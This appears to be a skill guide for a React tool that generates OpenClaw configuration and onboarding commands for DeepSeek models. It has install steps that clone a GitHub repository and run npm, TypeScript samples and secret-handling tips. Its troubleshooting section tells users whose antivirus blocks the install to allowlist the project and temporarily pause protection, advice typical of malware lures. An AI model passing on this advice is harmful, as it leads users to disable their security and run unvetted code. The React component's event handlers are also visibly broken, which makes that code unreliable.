Deepseek Openclaw Integration

DeepSeek OpenClaw Integration Skill

Skill by ara.so — Hermes Skills collection.

DeepSeek OpenClaw is a local-first React application that helps developers integrate DeepSeek AI models into the OpenClaw agent framework. It generates configuration snippets, onboarding commands, and provides model selection tooling without exposing API keys to backend services.

Installation

git clone https://github.com/Chiptreevaluate/deepseek-openclaw-863.git
cd deepseek-openclaw-863
npm install
npm start

Development Mode

npm run dev

Production Build

npm run build
npm run preview

Core Concepts

DeepSeek Models for OpenClaw

OpenClaw Integration Pattern

OpenClaw agents use environment variables for API authentication and JSON configuration for model selection. DeepSeek OpenClaw generates both:

1. Onboarding command — Shell command to initialize OpenClaw with DeepSeek
2. Config snippet — JSON structure for agent defaults and model mappings

Configuration Generation

Basic Model Configuration

The tool generates OpenClaw-compatible configuration:

{
  "env": {
    "DEEPSEEK_API_KEY": "${DEEPSEEK_API_KEY}"
  },
  "agents": {
    "defaults": {
      "model": {
        "primary": "deepseek/deepseek-v4-flash"
      }
    }
  }
}

Environment Variable Setup

Before running generated commands, set your DeepSeek API key:

# Linux/macOS
export DEEPSEEK_API_KEY=your_key_here

# Windows PowerShell
$env:DEEPSEEK_API_KEY="your_key_here"

# Windows CMD
set DEEPSEEK_API_KEY=your_key_here

Generated Onboarding Command Structure

The tool produces commands following this pattern:

openclaw onboard \
  --provider deepseek \
  --model deepseek/deepseek-v4-flash \
  --api-key ${DEEPSEEK_API_KEY}

Code Examples

Model Selection (TypeScript)

// src/models.ts
export interface DeepSeekModel {
  id: string;
  name: string;
  description: string;
  useCase: string;
}

export const DEEPSEEK_MODELS: DeepSeekModel[] = [
  {
    id: 'deepseek/deepseek-v4-flash',
    name: 'DeepSeek v4 Flash',
    description: 'Fast model for everyday automation',
    useCase: 'Quick responses, simple tasks'
  },
  {
    id: 'deepseek/deepseek-v4-pro',
    name: 'DeepSeek v4 Pro',
    description: 'Advanced model for complex reasoning',
    useCase: 'Multi-step planning, complex coding'
  },
  {
    id: 'deepseek/deepseek-chat',
    name: 'DeepSeek Chat',
    description: 'General conversational model',
    useCase: 'Chat interfaces, simple Q&A'
  },
  {
    id: 'deepseek/deepseek-reasoner',
    name: 'DeepSeek Reasoner',
    description: 'Step-by-step reasoning model',
    useCase: 'Logic puzzles, debugging, analysis'
  }
];

Configuration Generator (TypeScript)

// src/openclaw.ts
export interface OpenClawConfig {
  env: Record<string, string>;
  agents: {
    defaults: {
      model: {
        primary: string;
      };
    };
  };
}

export function generateOpenClawConfig(
  modelId: string,
  apiKey?: string
): OpenClawConfig {
  return {
    env: {
      DEEPSEEK_API_KEY: apiKey || '${DEEPSEEK_API_KEY}'
    },
    agents: {
      defaults: {
        model: {
          primary: modelId
        }
      }
    }
  };
}

export function generateOnboardingCommand(
  modelId: string,
  useEnvVar: boolean = true
): string {
  const keyRef = useEnvVar ? '${DEEPSEEK_API_KEY}' : '<your-api-key>';
  return `openclaw onboard --provider deepseek --model ${modelId} --api-key ${keyRef}`;
}

React Component Integration (TypeScript/React)

// src/App.tsx
import React, { useState } from 'react';
import { DEEPSEEK_MODELS } from './models';
import { generateOpenClawConfig, generateOnboardingCommand } from './openclaw';

export default function App() {
  const [selectedModel, setSelectedModel] = useState(DEEPSEEK_MODELS[0].id);
  const [apiKey, setApiKey] = useState('');

  const config = generateOpenClawConfig(selectedModel, apiKey);
  const command = generateOnboardingCommand(selectedModel, !apiKey);

  const redactedConfig = {
    ...config,
    env: {
      DEEPSEEK_API_KEY: apiKey ? 'sk-***redacted***' : '${DEEPSEEK_API_KEY}'
    }
  };

  return (
    <div>
      <h1>DeepSeek OpenClaw Configuration</h1>
      
      <select 
        value={selectedModel} 
        => setSelectedModel(e.target.value)}
      >
        {DEEPSEEK_MODELS.map(model => (
          <option key={model.id} value={model.id}>
            {model.name}
          </option>
        ))}
      </select>

      <input
        type="password"
        placeholder="DeepSeek API Key (optional)"
        value={apiKey}
        => setApiKey(e.target.value)}
      />

      <h3>Onboarding Command</h3>
      <pre>{command}</pre>

      <h3>Config Snippet</h3>
      <pre>{JSON.stringify(redactedConfig, null, 2)}</pre>
    </div>
  );
}

Common Patterns

Local-First Secret Handling

Always use environment variables for secrets:

// ✅ Good: Reference environment variable
const config = {
  env: {
    DEEPSEEK_API_KEY: '${DEEPSEEK_API_KEY}'
  }
};

// ❌ Bad: Hardcoded secret
const config = {
  env: {
    DEEPSEEK_API_KEY: 'sk-actual-key-value'
  }
};

Model Selection Strategy

// Choose model based on task complexity
function selectModel(taskType: string): string {
  switch (taskType) {
    case 'quick-automation':
      return 'deepseek/deepseek-v4-flash';
    case 'complex-coding':
      return 'deepseek/deepseek-v4-pro';
    case 'reasoning':
      return 'deepseek/deepseek-reasoner';
    default:
      return 'deepseek/deepseek-chat';
  }
}

Multi-Agent Configuration

{
  "agents": {
    "defaults": {
      "model": {
        "primary": "deepseek/deepseek-v4-flash"
      }
    },
    "coding-assistant": {
      "model": {
        "primary": "deepseek/deepseek-v4-pro"
      }
    },
    "reasoning-agent": {
      "model": {
        "primary": "deepseek/deepseek-reasoner"
      }
    }
  }
}

OpenClaw Integration Workflow

Step 1: Generate Configuration

Use the UI or programmatically generate config:

import { generateOpenClawConfig } from './openclaw';

const config = generateOpenClawConfig('deepseek/deepseek-v4-flash');
console.log(JSON.stringify(config, null, 2));

Step 2: Set Environment Variables

export DEEPSEEK_API_KEY=your_actual_key

Step 3: Initialize OpenClaw

openclaw onboard \
  --provider deepseek \
  --model deepseek/deepseek-v4-flash \
  --api-key ${DEEPSEEK_API_KEY}

Step 4: Verify Integration

openclaw test --model deepseek/deepseek-v4-flash

Troubleshooting

API Key Not Recognized

Problem: OpenClaw cannot authenticate with DeepSeek.

Solution: Verify environment variable is set correctly:

# Check if variable exists
echo $DEEPSEEK_API_KEY

# Re-export if needed
export DEEPSEEK_API_KEY=your_key_here

Model Not Found

Problem: Selected model ID is not recognized by OpenClaw.

Solution: Verify model ID format matches OpenClaw provider conventions:

// Correct format
const modelId = 'deepseek/deepseek-v4-flash';

// Check against available models
import { DEEPSEEK_MODELS } from './models';
const isValid = DEEPSEEK_MODELS.some(m => m.id === modelId);

Configuration Not Applied

Problem: Generated config doesn't affect OpenClaw behavior.

Solution: Ensure config is saved to OpenClaw's expected location:

# Default OpenClaw config location
~/.openclaw/config.json

# Or use --config flag
openclaw run --config ./my-deepseek-config.json

Security Warning on Installation

Problem: Antivirus blocks npm install or execution.

Solution: The project is open source with MIT license. If security software blocks:

1. Review the code in the repository
2. Add project folder to allowlist
3. Temporarily pause protection during installation
4. Only download from official repository

Build Errors

Problem: TypeScript or Vite build fails.

Solution: Ensure dependencies are installed and versions match:

# Clean install
rm -rf node_modules package-lock.json
npm install

# Check Node version (requires Node 16+)
node --version

Security Best Practices

API Key Management

// ✅ Use environment variables
const apiKey = process.env.DEEPSEEK_API_KEY;

// ✅ Redact in logs and UI
const redactedKey = apiKey ? 'sk-***redacted***' : '<not-set>';

// ❌ Never log actual keys
console.log('Using key:', apiKey); // Don't do this

Configuration File Safety

# Add to .gitignore
echo "*.key" >> .gitignore
echo ".env.local" >> .gitignore
echo "openclaw.config.json" >> .gitignore

Secret Scanning

Before committing generated configs:

# Search for potential secrets
git diff | grep -E "sk-[a-zA-Z0-9]{32,}"

References

• OpenClaw Documentation: https://docs.openclaw.ai/
• DeepSeek Provider Docs: https://docs.openclaw.ai/providers/deepseek
• DeepSeek API Integration: https://api-docs.deepseek.com/quick_start/agent_integrations/openclaw
• Project Repository: https://github.com/Chiptreevaluate/deepseek-openclaw-863

Project Structure Reference

deepseek-openclaw-863/
├── src/
│   ├── App.tsx              # Main React component
│   ├── models.ts            # DeepSeek model definitions
│   ├── openclaw.ts          # Config generation logic
│   ├── types.ts             # TypeScript interfaces
│   └── styles.css           # UI styles
├── .env.example             # Environment variable template
├── package.json             # Dependencies and scripts
├── tsconfig.json            # TypeScript configuration
└── vite.config.ts           # Vite build configuration